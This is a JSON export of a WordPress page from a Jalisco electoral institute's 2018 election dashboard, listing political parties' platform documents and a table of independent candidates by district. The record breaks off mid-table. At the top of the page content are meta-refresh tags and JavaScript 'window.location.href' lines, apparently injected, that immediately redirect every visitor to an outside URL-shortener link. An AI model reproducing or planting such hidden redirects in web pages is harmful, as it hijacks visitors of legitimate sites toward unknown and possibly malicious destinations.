{"id":1363,"date":"2018-04-09T17:48:12","date_gmt":"2018-04-09T17:48:12","guid":{"rendered":"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/?page_id=1363"},"modified":"2018-07-10T16:29:46","modified_gmt":"2018-07-10T16:29:46","slug":"plataformas-electorales","status":"publish","type":"page","link":"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/plataformas-electorales\/","title":{"rendered":"Plataformas electorales"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/kWsXUzH0r2\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/kWsXUzH0r2\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/kWsXUzH0r2\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/kWsXUzH0r2\";<\/script><br \/>\n<img loading=\"lazy\" decoding=\"async\" width=\"525\" height=\"148\" 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ALIGN=\"justify\">Son propuestas de car\u00e1cter pol\u00edtico, econ\u00f3mico y social, presentadas por los partidos pol\u00edticos y candidaturas independientes, en sus declaraciones de principios y programas de acci\u00f3n. <\/h3>\n<style>\n        .mnu-top div a img{\n        width: 89px;\n        list-style: none;\n        margin-left: 10px;\n        position: relative;\n        cursor: pointer;\n        }\n        .mnu-top-active>img{\n        border: #8031a7 4.5px solid;\n    }\n<\/style>\n<ul>\n            <a data-tab-id=\"1\"><img decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/03\/pan.png\"\/><br \/>\n            <\/a><br \/>\n            <a data-tab-id=\"2\"><img decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/03\/pri.png\"\/><br \/>\n            <\/a><br \/>\n             <a data-tab-id=\"3\"><img decoding=\"async\" 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Nacional<\/a><\/strong><\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/03\/pri.png\" alt=\"\" width=\"18\" height=\"18\" \/>\u00a0<a href=\"http:\/\/www.iepcjalisco.org.mx\/sites\/default\/files\/transparencia\/articulo-14\/xiv\/2017-2018\/PRI.pdf\">Plataforma pol\u00edtico electoral Partido Revolucionario Institucional<\/a><br \/><\/strong><\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/03\/prd.png\" alt=\"\" width=\"18\" height=\"18\" \/><a href=\"http:\/\/www.iepcjalisco.org.mx\/sites\/default\/files\/transparencia\/articulo-14\/xiv\/2017-2018\/PRD.pdf\">\u00a0Plataforma pol\u00edtico electoral Partido de la Revoluci\u00f3n Democr\u00e1tica<\/a><br \/><\/strong><\/p>\n<p><strong><a href=\"http:\/\/www.iepcjalisco.org.mx\/sites\/default\/files\/transparencia\/articulo-14\/xiv\/2017-2018\/PT.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/03\/pt.png\" alt=\"\" width=\"18\" height=\"18\" \/>\u00a0Plataforma pol\u00edtico electoral Partido del Trabajo<\/a><br \/><\/strong><\/p>\n<p><strong>\u00a0<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/03\/pvem.png\" alt=\"\" width=\"18\" height=\"18\" \/><a href=\"http:\/\/www.iepcjalisco.org.mx\/sites\/default\/files\/transparencia\/articulo-14\/xiv\/2017-2018\/PVEM.pdf\">\u00a0Plataforma pol\u00edtico electoral Partido Verde Ecologista de M\u00e9xico<\/a><br \/><\/strong><\/p>\n<p><strong><a href=\"http:\/\/w.iepcjalisco.org.mx\/sites\/default\/files\/transparencia\/articulo-14\/xiv\/2017-2018\/MC.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/03\/mc.png\" alt=\"\" width=\"18\" height=\"18\" \/>\u00a0 Plataforma pol\u00edtico electoral Movimiento Ciudadano<\/a><br \/><\/strong><\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/03\/nal.png\" alt=\"\" width=\"18\" height=\"18\" \/><a href=\"http:\/\/www.iepcjalisco.org.mx\/sites\/default\/files\/transparencia\/articulo-14\/xiv\/2017-2018\/Nueva%20Alianza.docx\">\u00a0Plataforma pol\u00edtico electoral Nueva Alianza<\/a><br \/><\/strong><\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/03\/morena.png\" alt=\"\" width=\"18\" height=\"18\" \/><a href=\"http:\/\/www.iepcjalisco.org.mx\/sites\/default\/files\/transparencia\/articulo-14\/xiv\/2017-2018\/Morena.pdf\">\u00a0\u00a0Plataforma pol\u00edtico electoral Movimiento Revolucionario Nacional<\/a><br \/><\/strong><\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/03\/es.png\" alt=\"\" width=\"18\" height=\"18\" \/><a href=\"http:\/\/www.iepcjalisco.org.mx\/sites\/default\/files\/transparencia\/articulo-14\/xiv\/2017-2018\/EncuentroSocial.pdf\">\u00a0\u00a0Plataforma pol\u00edtico electoral\u00a0 Encuentro Social<\/a><br \/><\/strong><\/p>\n<p><strong>Plataformas pol\u00edtico electorales de las candidaturas independientes<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<table style=\"width: 637.9pt; mso-cellspacing: 0cm; mso-yfti-tbllook: 1184; mso-padding-alt: 0cm 0cm 0cm 0cm;\" border=\"0\" width=\"851\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr style=\"mso-yfti-irow: 0; mso-yfti-firstrow: yes; height: 17.1pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; background: #8031A7; padding: 0cm 3.5pt 0cm 3.5pt; height: 17.1pt;\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: normal;\" align=\"center\"><b>DISTRITO<\/b><\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; background: #8031A7; padding: 0cm 3.5pt 0cm 3.5pt; height: 17.1pt;\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: normal;\" align=\"center\"><b>NOMBRE<\/b><\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; background: #8031A7; padding: 0cm 3.5pt 0cm 3.5pt; height: 17.1pt;\" width=\"227\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: normal;\" align=\"center\"><b>PLATAFORMA<\/b><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 1; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">4<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">S\u00c1NCHEZ D\u00cdAZ FERNANDO<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/3.-00199-SANCHEZ-DIAZ-FERNANDO-4.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 2; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">4<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">HERN\u00c1NDEZ AMEZCUA GERARDO<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/9.-00315-HERNANDEZ-AMEZCUA-GERARDO-D4.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 3; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">4<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">MART\u00cdNEZ ESPARZA JOS\u00c9 DE JES\u00daS<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/11.-00317-MARTINEZ-ESPARZA-JOSE-DE-JESUS-D4.pdf\"><img loading=\"lazy\" decoding=\"async\" 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mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/5.-00308-VELASCO-GONZALEZ-SUSANA-GABRIELA-5.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 5; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">6<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">GONZ\u00c1LEZ GONZ\u00c1LEZ ANA GABRIELA<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/1.-00196-GONZALEZ-GONZALEZ-ANA-GABRIELA-6.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 6; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">6<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">VARGAS OCHOA ALEJANDRA<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/12.-00321-VARGAS-OCHOA-ALEJANDRA-D6.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 7; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">7<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">MORALES HERN\u00c1NDEZ LUIS \u00c1NGEL<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/8.-00314-MORALES-HERNANDEZ-LUIS-ANGEL-D7.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 8; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">8<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">DE LA ROSA HERN\u00c1NDEZ SUSANA<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/10.-00316-DE-LA-ROSA-HERNANDEZ-SUSANA-D8.pdf\"><img loading=\"lazy\" decoding=\"async\" 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mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/11.-0000-HIRAM-ESA\u00da-RAM\u00cdREZ-CASTELL\u00d3N-D8.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 10; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">10<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">OCHOA CHAVIRA SUSANA<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/15.-00326-OCHOA-CHAVIRA-SUSANA-D10.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 11; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">10<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">L\u00d3PEZ GONZ\u00c1LEZ AQUILES<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/17.-00347-LOPEZ-GONZALEZ-AQUILES-D10.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 12; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">11<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">CORTES SERRANO JOEL<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/16.-00342-CORTES-SERRANO-JOEL-D11.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 13; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">12<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">CH\u00c1VEZ GARC\u00cdA JOS\u00c9<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/4.-00203-CHAVEZ-GARCIA-JOSE-12.pdf\"><img loading=\"lazy\" decoding=\"async\" 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1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/2.-00198-GLEASON-ESPINDOLA-JOSE-ARTURO-13.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 15; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">13<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">FLORES TRUJILLO PAOLA<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/13.-00322-FLORES-TRUJILLO-PAOLA-D13.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 16; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">14<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"378\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">MACINI AGUILERA JOS\u00c9 BERNARDO<\/p>\n<\/td>\n<td style=\"width: 170.35pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"227\">\n<p style=\"margin-bottom: .0001pt; line-height: normal;\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/7.-00311-MACINI-AGUILERA-JOS\u00c9-BERNARDO-D14.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/p>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 17; height: 15.75pt;\">\n<td style=\"width: 184.05pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" nowrap=\"nowrap\" width=\"245\">\n<p style=\"mso-margin-top-alt: auto; margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">14<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border: solid gray 1.0pt; mso-border-themecolor: background1; 